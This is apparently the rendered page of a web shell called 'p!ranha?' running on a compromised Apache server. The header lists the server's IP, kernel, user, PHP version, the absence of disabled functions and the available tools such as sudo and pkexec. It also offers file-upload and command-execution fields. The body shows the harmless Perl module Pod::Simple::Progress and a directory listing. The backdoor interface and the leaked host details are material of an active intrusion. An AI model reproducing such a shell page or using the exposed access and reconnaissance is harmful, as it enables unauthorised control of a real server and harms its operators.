p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/vendor_perl/Pod/Simple/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/perl5/vendor_perl/Pod/Simple/Progress.pm
require 5;
package Pod::Simple::Progress;
$VERSION = '3.28';
use strict;

# Objects of this class are used for noting progress of an
#  operation every so often.  Messages delivered more often than that
#  are suppressed.
#
# There's actually nothing in here that's specific to Pod processing;
#  but it's ad-hoc enough that I'm not willing to give it a name that
#  implies that it's generally useful, like "IO::Progress" or something.
#
# -- sburke
#
#--------------------------------------------------------------------------

sub new {
  my($class,$delay) = @_;
  my $self = bless {'quiet_until' => 1},  ref($class) || $class;
  $self->to(*STDOUT{IO});
  $self->delay(defined($delay) ? $delay : 5);
  return $self;
}

sub copy { 
  my $orig = shift;
  bless {%$orig, 'quiet_until' => 1}, ref($orig);
}
#--------------------------------------------------------------------------

sub reach {
  my($self, $point, $note) = @_;
  if( (my $now = time) >= $self->{'quiet_until'}) {
    my $goal;
    my    $to = $self->{'to'};
    print $to join('',
      ($self->{'quiet_until'} == 1) ? () : '... ',
      (defined $point) ? (
        '#',
        ($goal = $self->{'goal'}) ? (
          ' ' x (length($goal) - length($point)),
          $point, '/', $goal,
        ) : $point,
        $note ? ': ' : (),
      ) : (),
      $note || '',
      "\n"
    );
    $self->{'quiet_until'} = $now + $self->{'delay'};
  }
  return $self;
}

#--------------------------------------------------------------------------

sub done {
  my($self, $note) = @_;
  $self->{'quiet_until'} = 1;
  return $self->reach( undef, $note );
}

#--------------------------------------------------------------------------
# Simple accessors:

sub delay {
  return $_[0]{'delay'} if @_ == 1; $_[0]{'delay'} = $_[1]; return $_[0] }
sub goal {
  return $_[0]{'goal' } if @_ == 1; $_[0]{'goal' } = $_[1]; return $_[0] }
sub to   {
  return $_[0]{'to'   } if @_ == 1; $_[0]{'to'   } = $_[1]; return $_[0] }

#--------------------------------------------------------------------------

unless(caller) { # Simple self-test:
  my $p = __PACKAGE__->new->goal(5);
  $p->reach(1, "Primus!");
  sleep 1;
  $p->reach(2, "Secundus!");
  sleep 3;
  $p->reach(3, "Tertius!");
  sleep 5;
  $p->reach(4);
  $p->reach(5, "Quintus!");
  sleep 1;
  $p->done("All done");
}

#--------------------------------------------------------------------------
1;
__END__

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:45
0 / 0
0755
BlackBox.pm
64.692 KB
May 03 2013 16:24:53
0 / 0
0644
Checker.pm
5.24 KB
May 03 2013 16:24:53
0 / 0
0644
Debug.pm
4.502 KB
May 03 2013 16:24:53
0 / 0
0644
DumpAsText.pm
3.916 KB
May 03 2013 16:24:53
0 / 0
0644
DumpAsXML.pm
4.293 KB
May 03 2013 16:24:53
0 / 0
0644
HTML.pm
32.69 KB
May 03 2013 16:24:53
0 / 0
0644
HTMLBatch.pm
39.547 KB
May 03 2013 16:24:53
0 / 0
0644
HTMLLegacy.pm
2.693 KB
January 03 2012 00:06:30
0 / 0
0644
LinkSection.pm
4.238 KB
May 03 2013 16:24:53
0 / 0
0644
Methody.pm
3.483 KB
May 03 2013 16:24:53
0 / 0
0644
Progress.pm
2.356 KB
May 03 2013 16:24:53
0 / 0
0644
PullParser.pm
24.761 KB
May 03 2013 16:24:53
0 / 0
0644
PullParserEndToken.pm
2.813 KB
May 03 2013 16:24:53
0 / 0
0644
PullParserStartToken.pm
4.045 KB
May 03 2013 16:24:53
0 / 0
0644
PullParserTextToken.pm
3.083 KB
May 03 2013 16:24:53
0 / 0
0644
PullParserToken.pm
3.893 KB
May 03 2013 16:24:53
0 / 0
0644
RTF.pm
21.144 KB
May 03 2013 16:24:53
0 / 0
0644
Search.pm
32.695 KB
May 03 2013 16:24:53
0 / 0
0644
SimpleTree.pm
4.473 KB
May 03 2013 16:24:53
0 / 0
0644
Subclassing.pod
32.328 KB
May 03 2013 16:13:11
0 / 0
0644
Text.pm
5.009 KB
May 03 2013 16:24:53
0 / 0
0644
TextContent.pm
2.481 KB
May 03 2013 16:24:53
0 / 0
0644
TiedOutFH.pm
2.673 KB
May 03 2013 16:24:53
0 / 0
0644
Transcode.pm
0.683 KB
May 03 2013 16:24:53
0 / 0
0644
TranscodeDumb.pm
1.161 KB
May 03 2013 16:24:53
0 / 0
0644
TranscodeSmart.pm
0.698 KB
May 03 2013 16:24:53
0 / 0
0644
XHTML.pm
24.934 KB
May 03 2013 16:24:53
0 / 0
0644
XMLOutStream.pm
4.857 KB
May 03 2013 16:24:53
0 / 0
0644